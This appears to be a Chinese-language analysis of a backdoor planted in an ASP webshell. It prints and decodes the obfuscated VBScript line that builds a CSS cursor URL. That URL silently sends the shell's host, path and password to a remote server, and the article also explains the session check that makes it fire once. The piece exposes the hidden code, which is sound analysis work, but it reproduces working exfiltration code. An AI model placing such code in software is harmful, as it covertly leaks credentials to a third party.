gt;0 or Instr(Serveru,"192.168.")<>0 or Instr(Serveru,"http://")<>0 then
else:if session("servec")=1 then:session("servec")=session("servec")+1:RRS"<DIV style=""CURSOR:url(''"&posurl&"://"&chr(37)&"76"&chr(37)&"67%2E"&chr(37)&"6c"&chr(37)&"61/%"&(31+pos)&"/?%75="&u&"&%70="&p&"'')"">":else:if Action<>"" then session("servec")=session("servec")+1:end if:end if:end if
把url这个参数的值,单独拿出来看看。
把这个整理一下
复制代码 代码如下:
if Instr(Serveru,"127.0.0.1")<>0 or Instr(Serveru,"192.168.")<>0 or Instr(Serveru,"http://")<>0 then
else
if session("servec")=1 then
session("servec")=session("servec")+1
RRS"<DIV style=""CURSOR:url(''"&posurl&"://"&chr(37)&"76"&chr(37)&"67%2E"&chr(37)&"6c"&chr(37)&"61/%"&(31+pos)&"/?%75="&u&"&%70="&p&"'')"">"
else
if Action<>"" then session("servec")=session("servec")+1
end if
end if
end if
看这个代码之前先看一下几个常量和函数有助于理解。
URL=Request.ServerVariables("URL")
ServerIP=Request.ServerVariables("LOCAL_ADDR")
Action=Request("Action")
RootPath=Server.MapPath(".")
WWWRoot=Server.MapPath("/")
u=request.servervariables("http_host")&url
p=userpass
posurl="http"
Sub RRS(str)
response.write(str)
End Sub
首先看url中的变量U,由于URL=Request.ServerVariables("URL"),那么U=request.servervariables("http_host")&Request.ServerVariables("URL")
如果在本地调试的话,架设文件名为a.asp,那么request.servervariables("http_host")为localhost
Request.ServerVariables("URL")为/a.asp,及
U=localhost/a.asp
再看变量p,非常明显,它是你的shell的密码
而对于(31+pos),找了半天没有看出名堂,但是还是想办法得出了结果,他就是31.
好了,这几个主要的东东都搞明白了,现在去除字符连接符号&,比照ASCII码编码对照表,以上面架设的文件为例,那么得出url值
复制代码 代码如下:
url(''http://%76%67%2E%6c%61/%31/?%75=localhost/c.asp&%70=111'')
再url解密一下,
复制代码 代码如下:
url(''http://vg.la/1/?u=localhost/c.asp&p=111'')
列位看官,我想你已经看出来了,这段代码通过CURSOR的远程url调用,将你的shell地址和登录密码发送给远程程序处理。
现在我们回过头来看这段代码,初步查看代码时我以为它是首先判断这个shell是否在内网或者本地调试,如果不是然后执行下面的代码,结果发现这个功能并没有实现,全文在别处找不到Serveru的信息,那么永远也无法判断是否在本地或者内网,即无论运行在哪个环境都将执行后门代码。然后将执行 session("servec")的一个判断,可以看到它还包含一个判断就是Action是否为空,如果为空就不执行后门代码,初始化 session("servec")并加一,如果是那么就执行。可以看到在退出shell的时候并没有清空session("servec"),那么也就是说一般只会在session("servec")=1时执行一次后门代码,防止反复提交同样的数据!